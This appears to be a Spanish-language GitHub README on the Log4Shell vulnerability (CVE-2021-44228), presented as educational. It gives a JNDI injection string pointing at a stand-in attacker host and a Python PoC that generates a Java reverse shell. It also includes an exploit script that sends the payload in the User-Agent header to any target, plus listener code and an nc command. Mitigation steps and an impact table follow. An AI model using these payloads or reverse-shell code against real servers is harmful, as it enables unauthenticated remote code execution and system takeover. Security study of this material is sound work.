
Análisis educativo de CVE-2021-44228 (Log4Shell) con scripts PoC, desglose del vector de ataque y guía de mitigación para entender y probar la vulnerabilidad crítica de RCE en Apache Log4j.
Impacto Crítico (CVSS 10.0) | Descubierta en 2021, esta falla en Apache Log4j permite ejecución remota de código (RCE) y afecta a millones de sistemas globales. ¡Aún hoy, es un recordatorio clave para la ciberseguridad!
CVE-2021-44228, conocida como Log4Shell, es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en la biblioteca de logging Apache Log4j 2. Esta falla permite a atacantes maliciosos ejecutar código arbitrario en servidores vulnerables simplemente enviando una cadena de texto specially crafted que la aplicación registra.
Log4Shell no está sola; derivó en CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) y CVE-2021-4104 (RCE en Log4j 1.2).
El núcleo del problema es el manejo inseguro de JNDI (Java Naming and Directory Interface) en Log4j, que resuelve lookups remotos sin sanitización.
${jndi:ldap://atacante.com:1389/Exploit}
Cómo funciona:
${...} y activa un lookup JNDI.Protocolos explotables: LDAP, RMI, DNS, IIOP, etc. Esto habilita amenazas como:
Cadena de Infección (Kill Chain):
Estadísticas de Impacto:
90% de entornos en la nube expuestos inicialmente.
⚠️ Advertencia: Este contenido es exclusivamente para fines educativos y pruebas autorizadas. No uses esto en sistemas sin permiso explícito. Explotar vulnerabilidades sin autorización es ilegal (e.g., viola leyes como CFAA en EE.UU.). Siempre realiza pentesting ético.
Basado en repositorios públicos como kozmer/log4j-shell-poc, aquí un overview simplificado de un PoC en entornos controlados (e.g., Docker/VM local).
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (código de shell inversa simplificado)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Clase Exploit generada exitosamente')
except Exception as e:
print(Fore.RED + f'[-] Error: {e}')
# ... (funciones para LDAP server y web server similares al original)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - ¡Úsala solo en labs!")
# Argumentos: --userip localhost --webport 8000 --lport 9001
# Lanza LDAP, web server y genera payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - Monitorea la shell inversa.${jndi:ldap://127.0.0.1:1389/a} en un campo de login/buscar.PoC Simple en Python (Listener + Exploit): Para demos rápidas, usa este dúo de scripts (ejecuta listener primero).
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Listener en {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Conexión de {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("Presiona Enter para detener...\n") # Mantiene vivo
exploit.py:
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] Enviado a {target} | Status: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)
Ejecución: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"
Notas: Requiere Marshalsec para LDAP simulado. Prueba solo en labs aislados.
¡Actúa ya! Log4Shell es evitable con actualizaciones y configuraciones.
mvn dependency:tree o Snyk.-Dlog4j2.formatMsgNoLookups=trueLOG4J_FORMAT_MSG_NO_LOOKUPS=truelog4j2.xml, agrega <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi:*} (e.g., reglas en ModSecurity o Cloudflare).Para CVE Derivadas:
Este README.md es para fines educativos y de concienciación en ciberseguridad. No promueve actividades ilegales. Si eres profesional de seguridad, evalúa tu entorno con herramientas como OWASP Dependency-Check. ¡Mantén tus sistemas actualizados para un mundo más seguro! 🔒
Última actualización: Basado en datos hasta 2023. Verifica fuentes oficiales para novedades.
| Característica | Detalle |
|---|
| Puntaje CVSS v3.1 | 10.0 (CRÍTICO) 🔥 - Máxima gravedad posible. |
| Versiones Afectadas | Log4j 2.0-beta9 a 2.14.1 (incluye derivadas hasta 2.16.0 para sub-CVEs). |
| Causa Raíz | Sustitución de mensajes JNDI sin validación; lookups remotos habilitados. |
| Vectores | Remoto, no autenticado; afecta Java 8+ en apps web/nube. |
| Productos Impactados | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, y más. |
| Explotación | Fácil: PoCs públicos en GitHub; no necesita privilegios. |